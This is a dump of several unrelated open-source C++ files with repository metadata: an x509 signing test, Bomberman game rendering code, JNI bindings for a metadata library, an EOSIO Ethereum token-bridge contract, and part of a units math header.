EXPECT_TRUE(verResult.value); } TEST_F(X509SignVerifyUT, certSignSha512VerifyAPIIntegrity) { // WHEN const auto signResult = x509::signSha512(*m_cert, *m_key); const auto verResult = x509::verifySignature(*m_cert, *m_key); // THEN ASSERT_TRUE(signResult); ASSERT_TRUE(verResult); EXPECT_TRUE(verResult.value); } }}} // namespace so ut x509
[ "pdrzycimski@gmail.com" ]
pdrzycimski@gmail.com
a1e65dc2ee9c3e09601196c9380bde636853bd2e
5d2d6a0f5f9f12756ed9a80ef4daede2e7d7a320
/srcs/PlayerView.cpp
90e538cd168a7fa2a163330534ea151744f6390c
[]
no_license
z363989254/Bomberman
f1641e77cf73dbd7ef809b60dc2c943cd85d5192
46c2000ea54fb1ab946849b7589a3dc06ffb795f
refs/heads/master
2021-01-06T23:53:37.335149
2015-09-08T15:49:43
2015-09-08T15:49:43
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,109
cpp
// // PlayerView.cpp for bomberman in /home/chazal_l//Ydrasaal/PROJECT/Bomberman/Bomberman // // Made by leo chazal // Login <chazal_l@epitech.net> // // Started on Wed May 15 18:09:28 2013 leo chazal // Last update Sun Jun 9 19:05:05 2013 leo chazal // #include <iostream> #include <ModelException.hpp> #include "APlayer.hh" #include "Data.hpp" #include "PlayerView.hh" Bomberman::PlayerView::PlayerView() { this->initialize(); } Bomberman::PlayerView::~PlayerView() { } void Bomberman::PlayerView::setModelColor(const gdl::Color &color) { this->_model.set_default_model_color(color); } gdl::Model& Bomberman::PlayerView::getModel() { return (this->_model); } void Bomberman::PlayerView::initialize(void) { try { this->_model = gdl::Model::load(MODE_BOMBERMAN); } catch (const gdl::ModelException *e) { std::cerr << "Error while loading model : " << e->what() << std::endl; } } void Bomberman::PlayerView::moveTo(float x, float y, float z) { glTranslatef(x, y, z); } void Bomberman::PlayerView::rotateTo(float angle) { glRotatef(angle, 0.0f, 1.0f, 0.0f); } #include <iostream> bool Bomberman::PlayerView::animIsEnded(const std::string &anim) const { return (this->_model.anim_is_ended(anim)); } void Bomberman::PlayerView::runAnim(const std::string &anim) { if (this->_model.anim_is_ended(anim)) this->_model.play(anim); } void Bomberman::PlayerView::stopAnim(const std::string &anim) { if (!this->_model.anim_is_ended(anim)) this->_model.stop_animation(anim); } void Bomberman::PlayerView::draw(const AModel *model) { const Bomberman::APlayer *player = dynamic_cast<const Bomberman::APlayer *>(model); if (player->getSafeTime() % 2) return; glPushMatrix(); this->moveTo(player->getPosition().x, 0, player->getPosition().z); glScalef(0.60f, 0.60f, 0.60f); this->rotateTo(player->getAngle()); this->setModelColor(Bomberman::Data::getInstance()->getPlayerColor(player)); this->_model.draw(); glPopMatrix(); } const Vector3f &Bomberman::PlayerView::getPosition(void) const { return (this->_pos); }
[ "bhullnatik@gmail.com" ]
bhullnatik@gmail.com
ee5d6283333dd7271ea708488bdc4d4334587d77
30446123e089e2c27d30861e402dcbc343872354
/modules/vmfcore/java/jni/com_intel_vmf_Reference.cpp
c760305f2f1c2f0905067e0af2d77b6f7efd80e0
[ "Apache-2.0" ]
permissive
apavlenko/vmf
96f4bea4f11405fc64e9bd597e393f608c25c7fd
ba5e451e48bb18278ef0b7205914c7719149ad4d
refs/heads/master
2021-01-24T21:41:22.679622
2016-06-07T21:44:52
2016-06-07T21:44:52
47,108,203
0
4
null
2016-06-02T15:19:05
2015-11-30T09:26:33
C++
UTF-8
C++
false
false
5,213
cpp
#include<string> #include<vector> #include "vmf/metadatastream.hpp" #include "throwJavaException.hpp" extern "C" { using namespace vmf; /* * Class: com_intel_vmf_Reference * Method: n_Reference * Signature: ()J */ JNIEXPORT jlong JNICALL Java_com_intel_vmf_Reference_n_1Reference__(JNIEnv *env, jclass); JNIEXPORT jlong JNICALL Java_com_intel_vmf_Reference_n_1Reference__ (JNIEnv *env, jclass) { static const char method_name[] = "Reference::n_1Reference__"; try { std::shared_ptr<Reference>* obj = new std::shared_ptr<Reference>(new Reference()); return (jlong)obj; } catch (const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } return 0; } /* * Class: com_intel_vmf_Reference * Method: n_Reference * Signature: (JJ)J */ JNIEXPORT jlong JNICALL Java_com_intel_vmf_Reference_n_1Reference__JJ (JNIEnv *env, jclass, jlong refDescAddr, jlong mdAddr) { static const char method_name[] = "Reference::n_1Reference__JJ"; try { std::shared_ptr<ReferenceDesc>* refDesc = (std::shared_ptr<ReferenceDesc>*) refDescAddr; std::shared_ptr<Metadata>* md = (std::shared_ptr<Metadata>*) mdAddr; if ((refDesc == NULL) || (refDesc->get() == NULL)) return 0; if ((md == NULL) || (md->get() == NULL)) return 0; std::shared_ptr<Reference>* obj = new std::shared_ptr<Reference>(new Reference((*refDesc), (*md))); return (jlong)obj; } catch (const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } return 0; } /* * Class: com_intel_vmf_Reference * Method: n_getMetadata * Signature: (J)J */ JNIEXPORT jlong JNICALL Java_com_intel_vmf_Reference_n_1getMetadata (JNIEnv *env, jclass, jlong self) { static const char method_name[] = "Reference::n_1getMetadata"; try { std::shared_ptr<Reference>* obj = (std::shared_ptr<Reference>*) self; if ((obj == NULL) || (obj->get() == NULL)) return 0; std::weak_ptr<Metadata> md = (*obj)->getReferenceMetadata(); if (md.lock() == NULL) return 0; std::shared_ptr<Metadata>* retVal = new std::shared_ptr<Metadata>(md); return (jlong) retVal; } catch(const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } return 0; } /* * Class: com_intel_vmf_Reference * Method: n_setMetadata * Signature: (JJ)V */ JNIEXPORT void JNICALL Java_com_intel_vmf_Reference_n_1setMetadata (JNIEnv *env, jclass, jlong self, jlong mdAddr) { static const char method_name[] = "Reference::n_1setMetadata"; try { std::shared_ptr<Reference>* obj = (std::shared_ptr<Reference>*) self; std::shared_ptr<Metadata>* md = (std::shared_ptr<Metadata>*) mdAddr; if ((obj == NULL) || (obj->get() == NULL)) VMF_EXCEPTION(NullPointerException, "Reference is null pointer."); if ((md == NULL) || (md->get() == NULL)) VMF_EXCEPTION(NullPointerException, "Metadata is null pointer."); (*obj)->setReferenceMetadata ((*md)); } catch(const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } } /* * Class: com_intel_vmf_Reference * Method: n_getReferenceDescription * Signature: (J)J */ JNIEXPORT jlong JNICALL Java_com_intel_vmf_Reference_n_1getReferenceDescription (JNIEnv *env, jclass, jlong self) { static const char method_name[] = "Reference::n_1getReferenceDescription"; try { std::shared_ptr<Reference>* obj = (std::shared_ptr<Reference>*) self; if ((obj == NULL) || (obj->get() == NULL)) return 0; std::shared_ptr<ReferenceDesc> refDesc = (*obj)->getReferenceDescription(); if (refDesc == NULL) return 0; std::shared_ptr<ReferenceDesc>* retVal = new std::shared_ptr<ReferenceDesc>(refDesc); return (jlong) retVal; } catch(const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } return 0; } /* * Class: com_intel_vmf_Reference * Method: n_delete * Signature: (J)V */ JNIEXPORT void JNICALL Java_com_intel_vmf_Reference_n_1delete (JNIEnv *env, jclass, jlong self) { static const char method_name[] = "Reference::n_1delete"; try { std::shared_ptr<Reference>* obj = (std::shared_ptr<Reference>*) self; if ((obj == NULL) || (obj->get() == NULL)) VMF_EXCEPTION(NullPointerException, "Reference is null pointer."); delete obj; } catch(const std::exception &e) { throwJavaException(env, &e, method_name); } catch (...) { throwJavaException(env, 0, method_name); } } }
[ "andrey.pavlenko@itseez.com" ]
andrey.pavlenko@itseez.com
41ea69632fdfac478065084a6d448029fe4e5e98
ac005e30244ccca387c66554deefa7772cd1d142
/boxes/groups/sample/ethtokenpeg/contracts/eos/ethtokenpeg/ethtokenpeg.cpp
44dff329941a0b76da2ddfbc30bad26aec2307b9
[]
no_license
liquidapps-io/zeus-sdk
7eb23771b0996a6a3fc3a660f0e4e633c6c1a143
1d3dc106265b5950b41a928b588aa85255fedad6
refs/heads/master
2023-04-03T16:55:14.053803
2023-03-21T01:42:41
2023-03-21T01:42:41
179,921,716
56
40
null
2023-03-04T03:32:45
2019-04-07T05:22:19
JavaScript
UTF-8
C++
false
false
12,506
cpp
#define LINK_PROTOCOL_ETHEREUM true #define LINK_DEBUG //TO THE DEVELOPER - REMOVE THIS LINE FOR PRODUCTION - DISABLES LIB CHECK #include "../dappservices/link.hpp" #define CONTRACT_NAME() ethtokenpeg #undef MESSAGE_RECEIVED_HOOK #define MESSAGE_RECEIVED_HOOK(message) message_received(message) #undef MESSAGE_RECEIPT_HOOK #define MESSAGE_RECEIPT_HOOK(receipt) receipt_received(receipt) #undef MESSAGE_RECEIVED_FAILURE_HOOK #define MESSAGE_RECEIVED_FAILURE_HOOK(message,id) message_received_failed(message,id) #undef MESSAGE_RECEIPT_FAILURE_HOOK #define MESSAGE_RECEIPT_FAILURE_HOOK(receipt) receipt_received_failed(receipt) CONTRACT_START() LINK_BOOTSTRAP() struct message_t { bool success; eosio::name account; int64_t amount; eosio::checksum160 address; }; #ifdef LINK_DEBUG TABLE history { uint64_t id; string type; vector<char> data; message_t msg; uint64_t primary_key()const { return id; } }; typedef eosio::multi_index<"history"_n, history> history_table; #endif TABLE refunds { uint64_t receipt_id; vector<char> data; message_t msg; uint64_t primary_key()const { return receipt_id; } }; typedef eosio::multi_index<"refunds"_n, refunds> refunds_table; std::string clean_eth_address(std::string address) { // remove initial 0x if there if (address[1] == 'x') { return address.substr(2); } return address; } std::vector<char> HexToBytes(const std::string& hex) { std::vector<char> bytes; for (unsigned int i = 0; i < hex.length(); i += 2) { std::string byteString = hex.substr(i, 2); char byte = (char) strtol(byteString.c_str(), NULL, 16); bytes.push_back(byte); } return bytes; } // std::string BytesToHex(vector<char> data) // { // std::string s(data.size() * 2, ' '); // char hexmap[] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'}; // for (int i = 0; i < data.size(); ++i) { // s[2 * i] = hexmap[(data[i] & 0xF0) >> 4]; // s[2 * i + 1] = hexmap[data[i] & 0x0F]; // } // return s; // } eosio::checksum160 HexToAddress(const std::string& hex) { auto bytes = HexToBytes(clean_eth_address(hex)); std::array<uint8_t, 20> arr; std::copy_n(bytes.begin(), 20, arr.begin()); return eosio::checksum160(arr); } // std::string AddressToHex(const eosio::checksum160& address) { // std::vector<char> bytes; // auto arr = address.extract_as_byte_array(); // std::copy_n(arr.begin(), 20, bytes.begin()); // return BytesToHex(bytes); // } int64_t reverse(int64_t value) { vector<char> value_v(8); vector<char> value_r(8); int64_t reversed; memcpy(value_v.data(), &value, value_v.size()); std::reverse_copy(&value_v[0], &value_v[8], &value_r[0]); memcpy(&reversed, value_r.data(), value_r.size()); return reversed; } message_t unpack(const vector<char>& data) { auto unpacked = eosio::unpack<message_t>(data); auto _amount = unpacked.amount; unpacked.amount = reverse(_amount); return unpacked; } vector<char> pack(const message_t& data) { auto _data = data; _data.amount = reverse(_data.amount); auto packed = eosio::pack(_data); return packed; } TABLE token_settings_t { name token_contract; symbol token_symbol; uint64_t min_transfer; bool transfers_enabled; bool can_issue; // true if token is being bridged to this chain, else false }; typedef eosio::singleton<"config"_n, token_settings_t> token_settings_table; typedef eosio::multi_index<"config"_n, token_settings_t> token_settings_table_abi; [[eosio::action]] void init( string sister_address, string sister_msig_address, string sister_chain_name, string this_chain_name, bool processing_enabled, name token_contract, symbol token_symbol, uint64_t min_transfer, bool transfers_enabled, bool can_issue // true if token is being bridged to this chain, else false ) { require_auth(_self); initlink( sister_address, sister_msig_address, sister_chain_name, this_chain_name, processing_enabled ); token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); settings.token_contract = token_contract; settings.token_symbol = token_symbol; settings.min_transfer = min_transfer; settings.can_issue = can_issue; settings.transfers_enabled = transfers_enabled; settings_singleton.set(settings, _self); } [[eosio::action]] void enable(bool processing_enabled, bool transfers_enabled) { require_auth(_self); enablelink(processing_enabled); token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); settings.transfers_enabled = transfers_enabled; settings_singleton.set(settings, _self); } [[eosio::action]] void disable(name timer, bool processing_enabled = false, bool transfers_enabled = false) { require_auth(_self); disablelink(timer, processing_enabled); token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); settings.transfers_enabled = transfers_enabled; settings_singleton.set(settings, _self); } [[eosio::action]] void getdest(name from) { std::string res = "Destination EOSIO Account Name Value: " + std::to_string(from.value); check(false, res); } [[eosio::action]] void refund(uint64_t receipt_id) { require_auth(_self); refunds_table refunds(_self, _self.value); auto iterator = refunds.find(receipt_id); check(iterator != refunds.end(), "no refund exists"); pushMessage(iterator->data); refunds.erase(iterator); } [[eosio::action]] void clearhist(uint64_t id) { require_auth(_self); history_table histories(_self, _self.value); auto iterator = histories.find(id); check(iterator != histories.end(), "no history entry exists"); histories.erase(iterator); } void transfer(name from, name to, asset quantity, string memo) { token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); // validate proper transfer if (get_first_receiver() != settings.token_contract || from == _self) { return; } check(quantity.symbol == settings.token_symbol, "Incorrect symbol"); check(quantity.amount >= settings.min_transfer, "Transferred amount is less than minimum required."); check(settings.transfers_enabled, "transfers disabled"); // the memo should contain ONLY the eth address. message_t new_transfer = { true, from, quantity.amount, HexToAddress(memo) }; auto transfer = pack(new_transfer); #ifdef LINK_DEBUG history_table histories(_self, _self.value); histories.emplace(_self, [&]( auto& a ){ a.id = histories.available_primary_key(); a.data = transfer; a.msg = new_transfer; a.type = "outgoingMessage"; }); #endif pushMessage(transfer); // burn tokens if (settings.can_issue) { action(permission_level{_self, "active"_n}, settings.token_contract, "retire"_n, std::make_tuple(quantity, memo)) .send(); } } vector<char> message_received(const std::vector<char>& data) { token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); auto orig_data = data; auto transfer_data = unpack(data); std::string memo = "LiquidApps LiquidLink Transfer - Received from Ethereum account 0x";// + AddressToHex(transfer_data.address); //TODO: We should check for things like destination account exists, funds are available, a token account exists, etc // and then we should be able to return that the message is a failure if those conditions don't pass asset quantity = asset(transfer_data.amount, settings.token_symbol); if (settings.can_issue) { action(permission_level{_self, "active"_n}, settings.token_contract, "issue"_n, std::make_tuple(_self, quantity, memo)) .send(); action(permission_level{_self, "active"_n}, settings.token_contract, "transfer"_n, std::make_tuple(_self, name(transfer_data.account), quantity, memo)) .send(); } else { action(permission_level{_self, "active"_n}, settings.token_contract, "transfer"_n, std::make_tuple(_self, name(transfer_data.account), quantity, memo)) .send(); } #ifdef LINK_DEBUG history_table histories(_self, _self.value); histories.emplace(_self, [&]( auto& a ){ a.id = histories.available_primary_key(); a.data = orig_data; a.msg = transfer_data; a.type = "incomingMessage"; }); #endif return orig_data; } void message_received_failed(const vector<char>& data, uint64_t id) { auto transfer_data = unpack(data); transfer_data.success = false; auto packed_data = pack(transfer_data); history_table histories(_self, _self.value); histories.emplace(_self, [&]( auto& a ){ a.id = histories.available_primary_key(); a.data = packed_data; a.msg = transfer_data; a.type = "incomingMessageFailure"; }); refunds_table refunds(_self, _self.value); refunds.emplace(_self, [&]( auto& a ){ a.data = packed_data; a.receipt_id = id; a.msg = transfer_data; }); } void receipt_received(const std::vector<char>& data) { // deserialize original message to get the quantity and original sender to refund token_settings_table settings_singleton(_self, _self.value); token_settings_t settings = settings_singleton.get_or_default(); auto transfer_receipt = unpack(data); std::string memo = "LiquidApps LiquidLink Transfer Failed - Attempted to send to Ethereum account 0x";// + AddressToHex(transfer_receipt.address); asset quantity = asset(transfer_receipt.amount, settings.token_symbol); if (!transfer_receipt.success) { // return locked tokens in case of failure if (settings.can_issue) { action(permission_level{_self, "active"_n}, settings.token_contract, "issue"_n, std::make_tuple(_self, quantity, memo)) .send(); action(permission_level{_self, "active"_n}, settings.token_contract, "transfer"_n, std::make_tuple(_self, name(transfer_receipt.account), quantity, memo)) .send(); } else { action(permission_level{_self, "active"_n}, settings.token_contract, "transfer"_n, std::make_tuple(_self, name(transfer_receipt.account), quantity, memo)) .send(); } #ifdef LINK_DEBUG history_table histories(_self, _self.value); histories.emplace(_self, [&]( auto& a ){ a.id = histories.available_primary_key(); a.data = data; a.msg = transfer_receipt; a.type = "receiptFailure"; }); #endif } else { #ifdef LINK_DEBUG //TODO: should we burn the tokens or send them to a "holding account" history_table histories(_self, _self.value); histories.emplace(_self, [&]( auto& a ){ a.id = histories.available_primary_key(); a.data = data; a.msg = transfer_receipt; a.type = "receiptSuccess"; }); #endif } } // mark receipt as failed and store in failed messages table void receipt_received_failed(message_payload& receipt) { auto failed_receipt = unpack(receipt.data); failed_receipt.success = false; auto failed_receipt_packed = eosio::pack(failed_receipt); receipt.data = failed_receipt_packed; // add failed receipt to fmessages table failed_messages_table_t failed_messages(_self, _self.value); auto failed = failed_messages.find(receipt.id); if(failed == failed_messages.end()) { failed_messages.emplace(_self, [&](auto& a){ a.message = receipt; a.received_block_time = eosio::current_time_point().sec_since_epoch(); }); } } };//closure for CONTRACT_START EOSIO_DISPATCH_SVC_TRX(CONTRACT_NAME(), (init)(enable)(getdest)(disable)(refund)(clearhist))
[ "tal@liquidapps.io" ]
tal@liquidapps.io
2c30fd38db3c5694bd4f54221e9c60dd0417320a
de05e76f62c407c1a229d526b701825a1ef659c2
/src/main/native/include/units/math.h
5736bcf415ba70ace3ddd3f9c68937a7a8ddc3d5
[ "BSD-3-Clause" ]
permissive
wpilibsuite/wpimath
7272bc7e95eb005affa099e053c2e6499d15cad1
11b1706cd0c89ce6f9fbbdd1a9e6b6296458df40
refs/heads/master
2022-11-30T00:00:52.399970
2020-08-02T02:56:37
2020-08-02T02:56:37
282,506,465
1
5
NOASSERTION
2020-08-06T19:29:10
2020-07-25T18:55:57
C++
UTF-8
C++
false
false
29,642
h
/*----------------------------------------------------------------------------*/ /* Copyright (c) 2020 FIRST. All Rights Reserved. */ /* Open Source Software - may be modified and shared by FRC teams. The code */ /* must be accompanied by the FIRST BSD license file in the root directory of */ /* the project. */ /*----------------------------------------------------------------------------*/ // Copyright (c) 2016 Nic Holthaus // // The MIT License (MIT) // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #pragma once #include <cmath> #include "units/angle.h" #include "units/base.h" #include "units/dimensionless.h" namespace units { //---------------------------------- // UNIT-ENABLED CMATH FUNCTIONS //---------------------------------- /** * @brief namespace for unit-enabled versions of the `<cmath>` library * @details Includes trigonometric functions, exponential/log functions, * rounding functions, etc. * @sa See `unit_t` for more information on unit type containers. */ namespace math { //---------------------------------- // TRIGONOMETRIC FUNCTIONS //---------------------------------- /** * @ingroup UnitMath * @brief Compute cosine * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the cosine of * @returns Returns the cosine of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t cos(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::cos(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute sine * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the since of * @returns Returns the sine of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t sin(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::sin(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute tangent * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the tangent of * @returns Returns the tangent of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t tan(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::tan(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute arc cosine * @details Returns the principal value of the arc cosine of x, expressed in * radians. * @param[in] x Value whose arc cosine is computed, in the interval [-1,+1]. * @returns Principal arc cosine of x, in the interval [0,pi] radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t acos(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::acos(x())); } #endif /** * @ingroup UnitMath * @brief Compute arc sine * @details Returns the principal value of the arc sine of x, expressed in * radians. * @param[in] x Value whose arc sine is computed, in the interval [-1,+1]. * @returns Principal arc sine of x, in the interval [-pi/2,+pi/2] radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t asin(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::asin(x())); } #endif /** * @ingroup UnitMath * @brief Compute arc tangent * @details Returns the principal value of the arc tangent of x, expressed in * radians. Notice that because of the sign ambiguity, the function * cannot determine with certainty in which quadrant the angle falls * only by its tangent value. See atan2 for an alternative that takes a * fractional argument instead. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] x Value whose arc tangent is computed, in the interval [-1,+1]. * @returns Principal arc tangent of x, in the interval [-pi/2,+pi/2] radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t atan(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::atan(x())); } #endif /** * @ingroup UnitMath * @brief Compute arc tangent with two parameters * @details To compute the value, the function takes into account the sign of * both arguments in order to determine the quadrant. * @param[in] y y-component of the triangle expressed. * @param[in] x x-component of the triangle expressed. * @returns Returns the principal value of the arc tangent of <i>y/x</i>, * expressed in radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class Y, class X> angle::radian_t atan2(const Y y, const X x) noexcept { static_assert(traits::is_dimensionless_unit<decltype(y / x)>::value, "The quantity y/x must yield a dimensionless ratio."); // X and Y could be different length units, so normalize them return angle::radian_t( std::atan2(y.template convert< typename units::traits::unit_t_traits<X>::unit_type>()(), x())); } #endif //---------------------------------- // HYPERBOLIC TRIG FUNCTIONS //---------------------------------- /** * @ingroup UnitMath * @brief Compute hyperbolic cosine * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the hyperbolic cosine of * @returns Returns the hyperbolic cosine of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t cosh(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::cosh(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute hyperbolic sine * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the hyperbolic sine of * @returns Returns the hyperbolic sine of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t sinh(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::sinh(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute hyperbolic tangent * @details The input value can be in any unit of angle, including radians or * degrees. * @tparam AngleUnit any `unit_t` type of `category::angle_unit`. * @param[in] angle angle to compute the hyperbolic tangent of * @returns Returns the hyperbolic tangent of <i>angle</i> */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class AngleUnit> dimensionless::scalar_t tanh(const AngleUnit angle) noexcept { static_assert( traits::is_angle_unit<AngleUnit>::value, "Type `AngleUnit` must be a unit of angle derived from `unit_t`."); return dimensionless::scalar_t( std::tanh(angle.template convert<angle::radian>()())); } #endif /** * @ingroup UnitMath * @brief Compute arc hyperbolic cosine * @details Returns the nonnegative arc hyperbolic cosine of x, expressed in * radians. * @param[in] x Value whose arc hyperbolic cosine is computed. If the argument * is less than 1, a domain error occurs. * @returns Nonnegative arc hyperbolic cosine of x, in the interval * [0,+INFINITY] radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t acosh(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::acosh(x())); } #endif /** * @ingroup UnitMath * @brief Compute arc hyperbolic sine * @details Returns the arc hyperbolic sine of x, expressed in radians. * @param[in] x Value whose arc hyperbolic sine is computed. * @returns Arc hyperbolic sine of x, in radians. */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t asinh(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::asinh(x())); } #endif /** * @ingroup UnitMath * @brief Compute arc hyperbolic tangent * @details Returns the arc hyperbolic tangent of x, expressed in radians. * @param[in] x Value whose arc hyperbolic tangent is computed, in the interval * [-1,+1]. If the argument is out of this interval, a domain error * occurs. For values of -1 and +1, a pole error may occur. * @returns units::angle::radian_t */ #if !defined(DISABLE_PREDEFINED_UNITS) || defined(ENABLE_PREDEFINED_ANGLE_UNITS) template <class ScalarUnit> angle::radian_t atanh(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return angle::radian_t(std::atanh(x())); } #endif //---------------------------------- // TRANSCENDENTAL FUNCTIONS //---------------------------------- // it makes NO SENSE to put dimensioned units into a transcendental function, // and if you think it does you are demonstrably wrong. // https://en.wikipedia.org/wiki/Transcendental_function#Dimensional_analysis /** * @ingroup UnitMath * @brief Compute exponential function * @details Returns the base-e exponential function of x, which is e raised to * the power x: ex. * @param[in] x scalar value of the exponent. * @returns Exponential value of x. * If the magnitude of the result is too large to be represented by a * value of the return type, the function returns HUGE_VAL (or * HUGE_VALF or HUGE_VALL) with the proper sign, and an overflow range * error occurs. */ template <class ScalarUnit> dimensionless::scalar_t exp(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::exp(x())); } /** * @ingroup UnitMath * @brief Compute natural logarithm * @details Returns the natural logarithm of x. * @param[in] x scalar value whose logarithm is calculated. If the argument is * negative, a domain error occurs. * @sa log10 for more common base-10 logarithms * @returns Natural logarithm of x. */ template <class ScalarUnit> dimensionless::scalar_t log(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::log(x())); } /** * @ingroup UnitMath * @brief Compute common logarithm * @details Returns the common (base-10) logarithm of x. * @param[in] x Value whose logarithm is calculated. If the argument is * negative, a domain error occurs. * @returns Common logarithm of x. */ template <class ScalarUnit> dimensionless::scalar_t log10(const ScalarUnit x) noexcept { static_assert( traits::is_dimensionless_unit<ScalarUnit>::value, "Type `ScalarUnit` must be a dimensionless unit derived from `unit_t`."); return dimensionless::scalar_t(std::log10(x())); } /** * @ingroup UnitMath * @brief Break into fractional and integral parts. * 